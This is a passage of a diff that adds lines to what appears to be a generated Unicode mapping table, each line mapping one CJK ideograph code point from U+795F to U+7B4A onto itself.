+ ["\u795F", "\u795F"], /* CJK Ideograph */
+ ["\u7960", "\u7960"], /* CJK Ideograph */
+ ["\u7961", "\u7961"], /* CJK Ideograph */
+ ["\u7962", "\u7962"], /* CJK Ideograph */
+ ["\u7963", "\u7963"], /* CJK Ideograph */
+ ["\u7964", "\u7964"], /* CJK Ideograph */
+ ["\u7965", "\u7965"], /* CJK Ideograph */
+ ["\u7966", "\u7966"], /* CJK Ideograph */
+ ["\u7967", "\u7967"], /* CJK Ideograph */
+ ["\u7968", "\u7968"], /* CJK Ideograph */
+ ["\u7969", "\u7969"], /* CJK Ideograph */
+ ["\u796A", "\u796A"], /* CJK Ideograph */
+ ["\u796B", "\u796B"], /* CJK Ideograph */
+ ["\u796C", "\u796C"], /* CJK Ideograph */
+ ["\u796D", "\u796D"], /* CJK Ideograph */
+ ["\u796E", "\u796E"], /* CJK Ideograph */
+ ["\u796F", "\u796F"], /* CJK Ideograph */
+ ["\u7970", "\u7970"], /* CJK Ideograph */
+ ["\u7971", "\u7971"], /* CJK Ideograph */
+ ["\u7972", "\u7972"], /* CJK Ideograph */
+ ["\u7973", "\u7973"], /* CJK Ideograph */
+ ["\u7974", "\u7974"], /* CJK Ideograph */
+ ["\u7975", "\u7975"], /* CJK Ideograph */
+ ["\u7976", "\u7976"], /* CJK Ideograph */
+ ["\u7977", "\u7977"], /* CJK Ideograph */
+ ["\u7978", "\u7978"], /* CJK Ideograph */
+ ["\u7979", "\u7979"], /* CJK Ideograph */
+ ["\u797A", "\u797A"], /* CJK Ideograph */
+ ["\u797B", "\u797B"], /* CJK Ideograph */
+ ["\u797C", "\u797C"], /* CJK Ideograph */
+ ["\u797D", "\u797D"], /* CJK Ideograph */
+ ["\u797E", "\u797E"], /* CJK Ideograph */
+ ["\u797F", "\u797F"], /* CJK Ideograph */
+ ["\u7980", "\u7980"], /* CJK Ideograph */
+ ["\u7981", "\u7981"], /* CJK Ideograph */
+ ["\u7982", "\u7982"], /* CJK Ideograph */
+ ["\u7983", "\u7983"], /* CJK Ideograph */
+ ["\u7984", "\u7984"], /* CJK Ideograph */
+ ["\u7985", "\u7985"], /* CJK Ideograph */
+ ["\u7986", "\u7986"], /* CJK Ideograph */
+ ["\u7987", "\u7987"], /* CJK Ideograph */
+ ["\u7988", "\u7988"], /* CJK Ideograph */
+ ["\u7989", "\u7989"], /* CJK Ideograph */
+ ["\u798A", "\u798A"], /* CJK Ideograph */
+ ["\u798B", "\u798B"], /* CJK Ideograph */
+ ["\u798C", "\u798C"], /* CJK Ideograph */
+ ["\u798D", "\u798D"], /* CJK Ideograph */
+ ["\u798E", "\u798E"], /* CJK Ideograph */
+ ["\u798F", "\u798F"], /* CJK Ideograph */
+ ["\u7990", "\u7990"], /* CJK Ideograph */
+ ["\u7991", "\u7991"], /* CJK Ideograph */
+ ["\u7992", "\u7992"], /* CJK Ideograph */
+ ["\u7993", "\u7993"], /* CJK Ideograph */
+ ["\u7994", "\u7994"], /* CJK Ideograph */
+ ["\u7995", "\u7995"], /* CJK Ideograph */
+ ["\u7996", "\u7996"], /* CJK Ideograph */
+ ["\u7997", "\u7997"], /* CJK Ideograph */
+ ["\u7998", "\u7998"], /* CJK Ideograph */
+ ["\u7999", "\u7999"], /* CJK Ideograph */
+ ["\u799A", "\u799A"], /* CJK Ideograph */
+ ["\u799B", "\u799B"], /* CJK Ideograph */
+ ["\u799C", "\u799C"], /* CJK Ideograph */
+ ["\u799D", "\u799D"], /* CJK Ideograph */
+ ["\u799E", "\u799E"], /* CJK Ideograph */
+ ["\u799F", "\u799F"], /* CJK Ideograph */
+ ["\u79A0", "\u79A0"], /* CJK Ideograph */
+ ["\u79A1", "\u79A1"], /* CJK Ideograph */
+ ["\u79A2", "\u79A2"], /* CJK Ideograph */
+ ["\u79A3", "\u79A3"], /* CJK Ideograph */
+ ["\u79A4", "\u79A4"], /* CJK Ideograph */
+ ["\u79A5", "\u79A5"], /* CJK Ideograph */
+ ["\u79A6", "\u79A6"], /* CJK Ideograph */
+ ["\u79A7", "\u79A7"], /* CJK Ideograph */
+ ["\u79A8", "\u79A8"], /* CJK Ideograph */
+ ["\u79A9", "\u79A9"], /* CJK Ideograph */
+ ["\u79AA", "\u79AA"], /* CJK Ideograph */
+ ["\u79AB", "\u79AB"], /* CJK Ideograph */
+ ["\u79AC", "\u79AC"], /* CJK Ideograph */
+ ["\u79AD", "\u79AD"], /* CJK Ideograph */
+ ["\u79AE", "\u79AE"], /* CJK Ideograph */
+ ["\u79AF", "\u79AF"], /* CJK Ideograph */
+ ["\u79B0", "\u79B0"], /* CJK Ideograph */
+ ["\u79B1", "\u79B1"], /* CJK Ideograph */
+ ["\u79B2", "\u79B2"], /* CJK Ideograph */
+ ["\u79B3", "\u79B3"], /* CJK Ideograph */
+ ["\u79B4", "\u79B4"], /* CJK Ideograph */
+ ["\u79B5", "\u79B5"], /* CJK Ideograph */
+ ["\u79B6", "\u79B6"], /* CJK Ideograph */
+ ["\u79B7", "\u79B7"], /* CJK Ideograph */
+ ["\u79B8", "\u79B8"], /* CJK Ideograph */
+ ["\u79B9", "\u79B9"], /* CJK Ideograph */
+ ["\u79BA", "\u79BA"], /* CJK Ideograph */
+ ["\u79BB", "\u79BB"], /* CJK Ideograph */
+ ["\u79BC", "\u79BC"], /* CJK Ideograph */
+ ["\u79BD", "\u79BD"], /* CJK Ideograph */
+ ["\u79BE", "\u79BE"], /* CJK Ideograph */
+ ["\u79BF", "\u79BF"], /* CJK Ideograph */
+ ["\u79C0", "\u79C0"], /* CJK Ideograph */
+ ["\u79C1", "\u79C1"], /* CJK Ideograph */
+ ["\u79C2", "\u79C2"], /* CJK Ideograph */
+ ["\u79C3", "\u79C3"], /* CJK Ideograph */
+ ["\u79C4", "\u79C4"], /* CJK Ideograph */
+ ["\u79C5", "\u79C5"], /* CJK Ideograph */
+ ["\u79C6", "\u79C6"], /* CJK Ideograph */
+ ["\u79C7", "\u79C7"], /* CJK Ideograph */
+ ["\u79C8", "\u79C8"], /* CJK Ideograph */
+ ["\u79C9", "\u79C9"], /* CJK Ideograph */
+ ["\u79CA", "\u79CA"], /* CJK Ideograph */
+ ["\u79CB", "\u79CB"], /* CJK Ideograph */
+ ["\u79CC", "\u79CC"], /* CJK Ideograph */
+ ["\u79CD", "\u79CD"], /* CJK Ideograph */
+ ["\u79CE", "\u79CE"], /* CJK Ideograph */
+ ["\u79CF", "\u79CF"], /* CJK Ideograph */
+ ["\u79D0", "\u79D0"], /* CJK Ideograph */
+ ["\u79D1", "\u79D1"], /* CJK Ideograph */
+ ["\u79D2", "\u79D2"], /* CJK Ideograph */
+ ["\u79D3", "\u79D3"], /* CJK Ideograph */
+ ["\u79D4", "\u79D4"], /* CJK Ideograph */
+ ["\u79D5", "\u79D5"], /* CJK Ideograph */
+ ["\u79D6", "\u79D6"], /* CJK Ideograph */
+ ["\u79D7", "\u79D7"], /* CJK Ideograph */
+ ["\u79D8", "\u79D8"], /* CJK Ideograph */
+ ["\u79D9", "\u79D9"], /* CJK Ideograph */
+ ["\u79DA", "\u79DA"], /* CJK Ideograph */
+ ["\u79DB", "\u79DB"], /* CJK Ideograph */
+ ["\u79DC", "\u79DC"], /* CJK Ideograph */
+ ["\u79DD", "\u79DD"], /* CJK Ideograph */
+ ["\u79DE", "\u79DE"], /* CJK Ideograph */
+ ["\u79DF", "\u79DF"], /* CJK Ideograph */
+ ["\u79E0", "\u79E0"], /* CJK Ideograph */
+ ["\u79E1", "\u79E1"], /* CJK Ideograph */
+ ["\u79E2", "\u79E2"], /* CJK Ideograph */
+ ["\u79E3", "\u79E3"], /* CJK Ideograph */
+ ["\u79E4", "\u79E4"], /* CJK Ideograph */
+ ["\u79E5", "\u79E5"], /* CJK Ideograph */
+ ["\u79E6", "\u79E6"], /* CJK Ideograph */
+ ["\u79E7", "\u79E7"], /* CJK Ideograph */
+ ["\u79E8", "\u79E8"], /* CJK Ideograph */
+ ["\u79E9", "\u79E9"], /* CJK Ideograph */
+ ["\u79EA", "\u79EA"], /* CJK Ideograph */
+ ["\u79EB", "\u79EB"], /* CJK Ideograph */
+ ["\u79EC", "\u79EC"], /* CJK Ideograph */
+ ["\u79ED", "\u79ED"], /* CJK Ideograph */
+ ["\u79EE", "\u79EE"], /* CJK Ideograph */
+ ["\u79EF", "\u79EF"], /* CJK Ideograph */
+ ["\u79F0", "\u79F0"], /* CJK Ideograph */
+ ["\u79F1", "\u79F1"], /* CJK Ideograph */
+ ["\u79F2", "\u79F2"], /* CJK Ideograph */
+ ["\u79F3", "\u79F3"], /* CJK Ideograph */
+ ["\u79F4", "\u79F4"], /* CJK Ideograph */
+ ["\u79F5", "\u79F5"], /* CJK Ideograph */
+ ["\u79F6", "\u79F6"], /* CJK Ideograph */
+ ["\u79F7", "\u79F7"], /* CJK Ideograph */
+ ["\u79F8", "\u79F8"], /* CJK Ideograph */
+ ["\u79F9", "\u79F9"], /* CJK Ideograph */
+ ["\u79FA", "\u79FA"], /* CJK Ideograph */
+ ["\u79FB", "\u79FB"], /* CJK Ideograph */
+ ["\u79FC", "\u79FC"], /* CJK Ideograph */
+ ["\u79FD", "\u79FD"], /* CJK Ideograph */
+ ["\u79FE", "\u79FE"], /* CJK Ideograph */
+ ["\u79FF", "\u79FF"], /* CJK Ideograph */
+ ["\u7A00", "\u7A00"], /* CJK Ideograph */
+ ["\u7A01", "\u7A01"], /* CJK Ideograph */
+ ["\u7A02", "\u7A02"], /* CJK Ideograph */
+ ["\u7A03", "\u7A03"], /* CJK Ideograph */
+ ["\u7A04", "\u7A04"], /* CJK Ideograph */
+ ["\u7A05", "\u7A05"], /* CJK Ideograph */
+ ["\u7A06", "\u7A06"], /* CJK Ideograph */
+ ["\u7A07", "\u7A07"], /* CJK Ideograph */
+ ["\u7A08", "\u7A08"], /* CJK Ideograph */
+ ["\u7A09", "\u7A09"], /* CJK Ideograph */
+ ["\u7A0A", "\u7A0A"], /* CJK Ideograph */
+ ["\u7A0B", "\u7A0B"], /* CJK Ideograph */
+ ["\u7A0C", "\u7A0C"], /* CJK Ideograph */
+ ["\u7A0D", "\u7A0D"], /* CJK Ideograph */
+ ["\u7A0E", "\u7A0E"], /* CJK Ideograph */
+ ["\u7A0F", "\u7A0F"], /* CJK Ideograph */
+ ["\u7A10", "\u7A10"], /* CJK Ideograph */
+ ["\u7A11", "\u7A11"], /* CJK Ideograph */
+ ["\u7A12", "\u7A12"], /* CJK Ideograph */
+ ["\u7A13", "\u7A13"], /* CJK Ideograph */
+ ["\u7A14", "\u7A14"], /* CJK Ideograph */
+ ["\u7A15", "\u7A15"], /* CJK Ideograph */
+ ["\u7A16", "\u7A16"], /* CJK Ideograph */
+ ["\u7A17", "\u7A17"], /* CJK Ideograph */
+ ["\u7A18", "\u7A18"], /* CJK Ideograph */
+ ["\u7A19", "\u7A19"], /* CJK Ideograph */
+ ["\u7A1A", "\u7A1A"], /* CJK Ideograph */
+ ["\u7A1B", "\u7A1B"], /* CJK Ideograph */
+ ["\u7A1C", "\u7A1C"], /* CJK Ideograph */
+ ["\u7A1D", "\u7A1D"], /* CJK Ideograph */
+ ["\u7A1E", "\u7A1E"], /* CJK Ideograph */
+ ["\u7A1F", "\u7A1F"], /* CJK Ideograph */
+ ["\u7A20", "\u7A20"], /* CJK Ideograph */
+ ["\u7A21", "\u7A21"], /* CJK Ideograph */
+ ["\u7A22", "\u7A22"], /* CJK Ideograph */
+ ["\u7A23", "\u7A23"], /* CJK Ideograph */
+ ["\u7A24", "\u7A24"], /* CJK Ideograph */
+ ["\u7A25", "\u7A25"], /* CJK Ideograph */
+ ["\u7A26", "\u7A26"], /* CJK Ideograph */
+ ["\u7A27", "\u7A27"], /* CJK Ideograph */
+ ["\u7A28", "\u7A28"], /* CJK Ideograph */
+ ["\u7A29", "\u7A29"], /* CJK Ideograph */
+ ["\u7A2A", "\u7A2A"], /* CJK Ideograph */
+ ["\u7A2B", "\u7A2B"], /* CJK Ideograph */
+ ["\u7A2C", "\u7A2C"], /* CJK Ideograph */
+ ["\u7A2D", "\u7A2D"], /* CJK Ideograph */
+ ["\u7A2E", "\u7A2E"], /* CJK Ideograph */
+ ["\u7A2F", "\u7A2F"], /* CJK Ideograph */
+ ["\u7A30", "\u7A30"], /* CJK Ideograph */
+ ["\u7A31", "\u7A31"], /* CJK Ideograph */
+ ["\u7A32", "\u7A32"], /* CJK Ideograph */
+ ["\u7A33", "\u7A33"], /* CJK Ideograph */
+ ["\u7A34", "\u7A34"], /* CJK Ideograph */
+ ["\u7A35", "\u7A35"], /* CJK Ideograph */
+ ["\u7A36", "\u7A36"], /* CJK Ideograph */
+ ["\u7A37", "\u7A37"], /* CJK Ideograph */
+ ["\u7A38", "\u7A38"], /* CJK Ideograph */
+ ["\u7A39", "\u7A39"], /* CJK Ideograph */
+ ["\u7A3A", "\u7A3A"], /* CJK Ideograph */
+ ["\u7A3B", "\u7A3B"], /* CJK Ideograph */
+ ["\u7A3C", "\u7A3C"], /* CJK Ideograph */
+ ["\u7A3D", "\u7A3D"], /* CJK Ideograph */
+ ["\u7A3E", "\u7A3E"], /* CJK Ideograph */
+ ["\u7A3F", "\u7A3F"], /* CJK Ideograph */
+ ["\u7A40", "\u7A40"], /* CJK Ideograph */
+ ["\u7A41", "\u7A41"], /* CJK Ideograph */
+ ["\u7A42", "\u7A42"], /* CJK Ideograph */
+ ["\u7A43", "\u7A43"], /* CJK Ideograph */
+ ["\u7A44", "\u7A44"], /* CJK Ideograph */
+ ["\u7A45", "\u7A45"], /* CJK Ideograph */
+ ["\u7A46", "\u7A46"], /* CJK Ideograph */
+ ["\u7A47", "\u7A47"], /* CJK Ideograph */
+ ["\u7A48", "\u7A48"], /* CJK Ideograph */
+ ["\u7A49", "\u7A49"], /* CJK Ideograph */
+ ["\u7A4A", "\u7A4A"], /* CJK Ideograph */
+ ["\u7A4B", "\u7A4B"], /* CJK Ideograph */
+ ["\u7A4C", "\u7A4C"], /* CJK Ideograph */
+ ["\u7A4D", "\u7A4D"], /* CJK Ideograph */
+ ["\u7A4E", "\u7A4E"], /* CJK Ideograph */
+ ["\u7A4F", "\u7A4F"], /* CJK Ideograph */
+ ["\u7A50", "\u7A50"], /* CJK Ideograph */
+ ["\u7A51", "\u7A51"], /* CJK Ideograph */
+ ["\u7A52", "\u7A52"], /* CJK Ideograph */
+ ["\u7A53", "\u7A53"], /* CJK Ideograph */
+ ["\u7A54", "\u7A54"], /* CJK Ideograph */
+ ["\u7A55", "\u7A55"], /* CJK Ideograph */
+ ["\u7A56", "\u7A56"], /* CJK Ideograph */
+ ["\u7A57", "\u7A57"], /* CJK Ideograph */
+ ["\u7A58", "\u7A58"], /* CJK Ideograph */
+ ["\u7A59", "\u7A59"], /* CJK Ideograph */
+ ["\u7A5A", "\u7A5A"], /* CJK Ideograph */
+ ["\u7A5B", "\u7A5B"], /* CJK Ideograph */
+ ["\u7A5C", "\u7A5C"], /* CJK Ideograph */
+ ["\u7A5D", "\u7A5D"], /* CJK Ideograph */
+ ["\u7A5E", "\u7A5E"], /* CJK Ideograph */
+ ["\u7A5F", "\u7A5F"], /* CJK Ideograph */
+ ["\u7A60", "\u7A60"], /* CJK Ideograph */
+ ["\u7A61", "\u7A61"], /* CJK Ideograph */
+ ["\u7A62", "\u7A62"], /* CJK Ideograph */
+ ["\u7A63", "\u7A63"], /* CJK Ideograph */
+ ["\u7A64", "\u7A64"], /* CJK Ideograph */
+ ["\u7A65", "\u7A65"], /* CJK Ideograph */
+ ["\u7A66", "\u7A66"], /* CJK Ideograph */
+ ["\u7A67", "\u7A67"], /* CJK Ideograph */
+ ["\u7A68", "\u7A68"], /* CJK Ideograph */
+ ["\u7A69", "\u7A69"], /* CJK Ideograph */
+ ["\u7A6A", "\u7A6A"], /* CJK Ideograph */
+ ["\u7A6B", "\u7A6B"], /* CJK Ideograph */
+ ["\u7A6C", "\u7A6C"], /* CJK Ideograph */
+ ["\u7A6D", "\u7A6D"], /* CJK Ideograph */
+ ["\u7A6E", "\u7A6E"], /* CJK Ideograph */
+ ["\u7A6F", "\u7A6F"], /* CJK Ideograph */
+ ["\u7A70", "\u7A70"], /* CJK Ideograph */
+ ["\u7A71", "\u7A71"], /* CJK Ideograph */
+ ["\u7A72", "\u7A72"], /* CJK Ideograph */
+ ["\u7A73", "\u7A73"], /* CJK Ideograph */
+ ["\u7A74", "\u7A74"], /* CJK Ideograph */
+ ["\u7A75", "\u7A75"], /* CJK Ideograph */
+ ["\u7A76", "\u7A76"], /* CJK Ideograph */
+ ["\u7A77", "\u7A77"], /* CJK Ideograph */
+ ["\u7A78", "\u7A78"], /* CJK Ideograph */
+ ["\u7A79", "\u7A79"], /* CJK Ideograph */
+ ["\u7A7A", "\u7A7A"], /* CJK Ideograph */
+ ["\u7A7B", "\u7A7B"], /* CJK Ideograph */
+ ["\u7A7C", "\u7A7C"], /* CJK Ideograph */
+ ["\u7A7D", "\u7A7D"], /* CJK Ideograph */
+ ["\u7A7E", "\u7A7E"], /* CJK Ideograph */
+ ["\u7A7F", "\u7A7F"], /* CJK Ideograph */
+ ["\u7A80", "\u7A80"], /* CJK Ideograph */
+ ["\u7A81", "\u7A81"], /* CJK Ideograph */
+ ["\u7A82", "\u7A82"], /* CJK Ideograph */
+ ["\u7A83", "\u7A83"], /* CJK Ideograph */
+ ["\u7A84", "\u7A84"], /* CJK Ideograph */
+ ["\u7A85", "\u7A85"], /* CJK Ideograph */
+ ["\u7A86", "\u7A86"], /* CJK Ideograph */
+ ["\u7A87", "\u7A87"], /* CJK Ideograph */
+ ["\u7A88", "\u7A88"], /* CJK Ideograph */
+ ["\u7A89", "\u7A89"], /* CJK Ideograph */
+ ["\u7A8A", "\u7A8A"], /* CJK Ideograph */
+ ["\u7A8B", "\u7A8B"], /* CJK Ideograph */
+ ["\u7A8C", "\u7A8C"], /* CJK Ideograph */
+ ["\u7A8D", "\u7A8D"], /* CJK Ideograph */
+ ["\u7A8E", "\u7A8E"], /* CJK Ideograph */
+ ["\u7A8F", "\u7A8F"], /* CJK Ideograph */
+ ["\u7A90", "\u7A90"], /* CJK Ideograph */
+ ["\u7A91", "\u7A91"], /* CJK Ideograph */
+ ["\u7A92", "\u7A92"], /* CJK Ideograph */
+ ["\u7A93", "\u7A93"], /* CJK Ideograph */
+ ["\u7A94", "\u7A94"], /* CJK Ideograph */
+ ["\u7A95", "\u7A95"], /* CJK Ideograph */
+ ["\u7A96", "\u7A96"], /* CJK Ideograph */
+ ["\u7A97", "\u7A97"], /* CJK Ideograph */
+ ["\u7A98", "\u7A98"], /* CJK Ideograph */
+ ["\u7A99", "\u7A99"], /* CJK Ideograph */
+ ["\u7A9A", "\u7A9A"], /* CJK Ideograph */
+ ["\u7A9B", "\u7A9B"], /* CJK Ideograph */
+ ["\u7A9C", "\u7A9C"], /* CJK Ideograph */
+ ["\u7A9D", "\u7A9D"], /* CJK Ideograph */
+ ["\u7A9E", "\u7A9E"], /* CJK Ideograph */
+ ["\u7A9F", "\u7A9F"], /* CJK Ideograph */
+ ["\u7AA0", "\u7AA0"], /* CJK Ideograph */
+ ["\u7AA1", "\u7AA1"], /* CJK Ideograph */
+ ["\u7AA2", "\u7AA2"], /* CJK Ideograph */
+ ["\u7AA3", "\u7AA3"], /* CJK Ideograph */
+ ["\u7AA4", "\u7AA4"], /* CJK Ideograph */
+ ["\u7AA5", "\u7AA5"], /* CJK Ideograph */
+ ["\u7AA6", "\u7AA6"], /* CJK Ideograph */
+ ["\u7AA7", "\u7AA7"], /* CJK Ideograph */
+ ["\u7AA8", "\u7AA8"], /* CJK Ideograph */
+ ["\u7AA9", "\u7AA9"], /* CJK Ideograph */
+ ["\u7AAA", "\u7AAA"], /* CJK Ideograph */
+ ["\u7AAB", "\u7AAB"], /* CJK Ideograph */
+ ["\u7AAC", "\u7AAC"], /* CJK Ideograph */
+ ["\u7AAD", "\u7AAD"], /* CJK Ideograph */
+ ["\u7AAE", "\u7AAE"], /* CJK Ideograph */
+ ["\u7AAF", "\u7AAF"], /* CJK Ideograph */
+ ["\u7AB0", "\u7AB0"], /* CJK Ideograph */
+ ["\u7AB1", "\u7AB1"], /* CJK Ideograph */
+ ["\u7AB2", "\u7AB2"], /* CJK Ideograph */
+ ["\u7AB3", "\u7AB3"], /* CJK Ideograph */
+ ["\u7AB4", "\u7AB4"], /* CJK Ideograph */
+ ["\u7AB5", "\u7AB5"], /* CJK Ideograph */
+ ["\u7AB6", "\u7AB6"], /* CJK Ideograph */
+ ["\u7AB7", "\u7AB7"], /* CJK Ideograph */
+ ["\u7AB8", "\u7AB8"], /* CJK Ideograph */
+ ["\u7AB9", "\u7AB9"], /* CJK Ideograph */
+ ["\u7ABA", "\u7ABA"], /* CJK Ideograph */
+ ["\u7ABB", "\u7ABB"], /* CJK Ideograph */
+ ["\u7ABC", "\u7ABC"], /* CJK Ideograph */
+ ["\u7ABD", "\u7ABD"], /* CJK Ideograph */
+ ["\u7ABE", "\u7ABE"], /* CJK Ideograph */
+ ["\u7ABF", "\u7ABF"], /* CJK Ideograph */
+ ["\u7AC0", "\u7AC0"], /* CJK Ideograph */
+ ["\u7AC1", "\u7AC1"], /* CJK Ideograph */
+ ["\u7AC2", "\u7AC2"], /* CJK Ideograph */
+ ["\u7AC3", "\u7AC3"], /* CJK Ideograph */
+ ["\u7AC4", "\u7AC4"], /* CJK Ideograph */
+ ["\u7AC5", "\u7AC5"], /* CJK Ideograph */
+ ["\u7AC6", "\u7AC6"], /* CJK Ideograph */
+ ["\u7AC7", "\u7AC7"], /* CJK Ideograph */
+ ["\u7AC8", "\u7AC8"], /* CJK Ideograph */
+ ["\u7AC9", "\u7AC9"], /* CJK Ideograph */
+ ["\u7ACA", "\u7ACA"], /* CJK Ideograph */
+ ["\u7ACB", "\u7ACB"], /* CJK Ideograph */
+ ["\u7ACC", "\u7ACC"], /* CJK Ideograph */
+ ["\u7ACD", "\u7ACD"], /* CJK Ideograph */
+ ["\u7ACE", "\u7ACE"], /* CJK Ideograph */
+ ["\u7ACF", "\u7ACF"], /* CJK Ideograph */
+ ["\u7AD0", "\u7AD0"], /* CJK Ideograph */
+ ["\u7AD1", "\u7AD1"], /* CJK Ideograph */
+ ["\u7AD2", "\u7AD2"], /* CJK Ideograph */
+ ["\u7AD3", "\u7AD3"], /* CJK Ideograph */
+ ["\u7AD4", "\u7AD4"], /* CJK Ideograph */
+ ["\u7AD5", "\u7AD5"], /* CJK Ideograph */
+ ["\u7AD6", "\u7AD6"], /* CJK Ideograph */
+ ["\u7AD7", "\u7AD7"], /* CJK Ideograph */
+ ["\u7AD8", "\u7AD8"], /* CJK Ideograph */
+ ["\u7AD9", "\u7AD9"], /* CJK Ideograph */
+ ["\u7ADA", "\u7ADA"], /* CJK Ideograph */
+ ["\u7ADB", "\u7ADB"], /* CJK Ideograph */
+ ["\u7ADC", "\u7ADC"], /* CJK Ideograph */
+ ["\u7ADD", "\u7ADD"], /* CJK Ideograph */
+ ["\u7ADE", "\u7ADE"], /* CJK Ideograph */
+ ["\u7ADF", "\u7ADF"], /* CJK Ideograph */
+ ["\u7AE0", "\u7AE0"], /* CJK Ideograph */
+ ["\u7AE1", "\u7AE1"], /* CJK Ideograph */
+ ["\u7AE2", "\u7AE2"], /* CJK Ideograph */
+ ["\u7AE3", "\u7AE3"], /* CJK Ideograph */
+ ["\u7AE4", "\u7AE4"], /* CJK Ideograph */
+ ["\u7AE5", "\u7AE5"], /* CJK Ideograph */
+ ["\u7AE6", "\u7AE6"], /* CJK Ideograph */
+ ["\u7AE7", "\u7AE7"], /* CJK Ideograph */
+ ["\u7AE8", "\u7AE8"], /* CJK Ideograph */
+ ["\u7AE9", "\u7AE9"], /* CJK Ideograph */
+ ["\u7AEA", "\u7AEA"], /* CJK Ideograph */
+ ["\u7AEB", "\u7AEB"], /* CJK Ideograph */
+ ["\u7AEC", "\u7AEC"], /* CJK Ideograph */
+ ["\u7AED", "\u7AED"], /* CJK Ideograph */
+ ["\u7AEE", "\u7AEE"], /* CJK Ideograph */
+ ["\u7AEF", "\u7AEF"], /* CJK Ideograph */
+ ["\u7AF0", "\u7AF0"], /* CJK Ideograph */
+ ["\u7AF1", "\u7AF1"], /* CJK Ideograph */
+ ["\u7AF2", "\u7AF2"], /* CJK Ideograph */
+ ["\u7AF3", "\u7AF3"], /* CJK Ideograph */
+ ["\u7AF4", "\u7AF4"], /* CJK Ideograph */
+ ["\u7AF5", "\u7AF5"], /* CJK Ideograph */
+ ["\u7AF6", "\u7AF6"], /* CJK Ideograph */
+ ["\u7AF7", "\u7AF7"], /* CJK Ideograph */
+ ["\u7AF8", "\u7AF8"], /* CJK Ideograph */
+ ["\u7AF9", "\u7AF9"], /* CJK Ideograph */
+ ["\u7AFA", "\u7AFA"], /* CJK Ideograph */
+ ["\u7AFB", "\u7AFB"], /* CJK Ideograph */
+ ["\u7AFC", "\u7AFC"], /* CJK Ideograph */
+ ["\u7AFD", "\u7AFD"], /* CJK Ideograph */
+ ["\u7AFE", "\u7AFE"], /* CJK Ideograph */
+ ["\u7AFF", "\u7AFF"], /* CJK Ideograph */
+ ["\u7B00", "\u7B00"], /* CJK Ideograph */
+ ["\u7B01", "\u7B01"], /* CJK Ideograph */
+ ["\u7B02", "\u7B02"], /* CJK Ideograph */
+ ["\u7B03", "\u7B03"], /* CJK Ideograph */
+ ["\u7B04", "\u7B04"], /* CJK Ideograph */
+ ["\u7B05", "\u7B05"], /* CJK Ideograph */
+ ["\u7B06", "\u7B06"], /* CJK Ideograph */
+ ["\u7B07", "\u7B07"], /* CJK Ideograph */
+ ["\u7B08", "\u7B08"], /* CJK Ideograph */
+ ["\u7B09", "\u7B09"], /* CJK Ideograph */
+ ["\u7B0A", "\u7B0A"], /* CJK Ideograph */
+ ["\u7B0B", "\u7B0B"], /* CJK Ideograph */
+ ["\u7B0C", "\u7B0C"], /* CJK Ideograph */
+ ["\u7B0D", "\u7B0D"], /* CJK Ideograph */
+ ["\u7B0E", "\u7B0E"], /* CJK Ideograph */
+ ["\u7B0F", "\u7B0F"], /* CJK Ideograph */
+ ["\u7B10", "\u7B10"], /* CJK Ideograph */
+ ["\u7B11", "\u7B11"], /* CJK Ideograph */
+ ["\u7B12", "\u7B12"], /* CJK Ideograph */
+ ["\u7B13", "\u7B13"], /* CJK Ideograph */
+ ["\u7B14", "\u7B14"], /* CJK Ideograph */
+ ["\u7B15", "\u7B15"], /* CJK Ideograph */
+ ["\u7B16", "\u7B16"], /* CJK Ideograph */
+ ["\u7B17", "\u7B17"], /* CJK Ideograph */
+ ["\u7B18", "\u7B18"], /* CJK Ideograph */
+ ["\u7B19", "\u7B19"], /* CJK Ideograph */
+ ["\u7B1A", "\u7B1A"], /* CJK Ideograph */
+ ["\u7B1B", "\u7B1B"], /* CJK Ideograph */
+ ["\u7B1C", "\u7B1C"], /* CJK Ideograph */
+ ["\u7B1D", "\u7B1D"], /* CJK Ideograph */
+ ["\u7B1E", "\u7B1E"], /* CJK Ideograph */
+ ["\u7B1F", "\u7B1F"], /* CJK Ideograph */
+ ["\u7B20", "\u7B20"], /* CJK Ideograph */
+ ["\u7B21", "\u7B21"], /* CJK Ideograph */
+ ["\u7B22", "\u7B22"], /* CJK Ideograph */
+ ["\u7B23", "\u7B23"], /* CJK Ideograph */
+ ["\u7B24", "\u7B24"], /* CJK Ideograph */
+ ["\u7B25", "\u7B25"], /* CJK Ideograph */
+ ["\u7B26", "\u7B26"], /* CJK Ideograph */
+ ["\u7B27", "\u7B27"], /* CJK Ideograph */
+ ["\u7B28", "\u7B28"], /* CJK Ideograph */
+ ["\u7B29", "\u7B29"], /* CJK Ideograph */
+ ["\u7B2A", "\u7B2A"], /* CJK Ideograph */
+ ["\u7B2B", "\u7B2B"], /* CJK Ideograph */
+ ["\u7B2C", "\u7B2C"], /* CJK Ideograph */
+ ["\u7B2D", "\u7B2D"], /* CJK Ideograph */
+ ["\u7B2E", "\u7B2E"], /* CJK Ideograph */
+ ["\u7B2F", "\u7B2F"], /* CJK Ideograph */
+ ["\u7B30", "\u7B30"], /* CJK Ideograph */
+ ["\u7B31", "\u7B31"], /* CJK Ideograph */
+ ["\u7B32", "\u7B32"], /* CJK Ideograph */
+ ["\u7B33", "\u7B33"], /* CJK Ideograph */
+ ["\u7B34", "\u7B34"], /* CJK Ideograph */
+ ["\u7B35", "\u7B35"], /* CJK Ideograph */
+ ["\u7B36", "\u7B36"], /* CJK Ideograph */
+ ["\u7B37", "\u7B37"], /* CJK Ideograph */
+ ["\u7B38", "\u7B38"], /* CJK Ideograph */
+ ["\u7B39", "\u7B39"], /* CJK Ideograph */
+ ["\u7B3A", "\u7B3A"], /* CJK Ideograph */
+ ["\u7B3B", "\u7B3B"], /* CJK Ideograph */
+ ["\u7B3C", "\u7B3C"], /* CJK Ideograph */
+ ["\u7B3D", "\u7B3D"], /* CJK Ideograph */
+ ["\u7B3E", "\u7B3E"], /* CJK Ideograph */
+ ["\u7B3F", "\u7B3F"], /* CJK Ideograph */
+ ["\u7B40", "\u7B40"], /* CJK Ideograph */
+ ["\u7B41", "\u7B41"], /* CJK Ideograph */
+ ["\u7B42", "\u7B42"], /* CJK Ideograph */
+ ["\u7B43", "\u7B43"], /* CJK Ideograph */
+ ["\u7B44", "\u7B44"], /* CJK Ideograph */
+ ["\u7B45", "\u7B45"], /* CJK Ideograph */
+ ["\u7B46", "\u7B46"], /* CJK Ideograph */
+ ["\u7B47", "\u7B47"], /* CJK Ideograph */
+ ["\u7B48", "\u7B48"], /* CJK Ideograph */
+ ["\u7B49", "\u7B49"], /* CJK Ideograph */
+ ["\u7B4A", "\u7B4A"], /* CJK Ideograph */
